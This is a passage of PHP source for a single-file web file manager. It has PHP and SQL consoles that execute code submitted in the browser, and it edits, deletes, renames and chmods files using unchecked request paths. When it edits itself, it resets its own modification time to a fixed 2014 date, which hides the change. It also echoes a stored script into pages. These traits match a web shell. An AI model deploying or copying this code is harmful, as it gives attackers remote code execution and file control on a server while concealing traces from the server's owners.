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"); } .file { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" 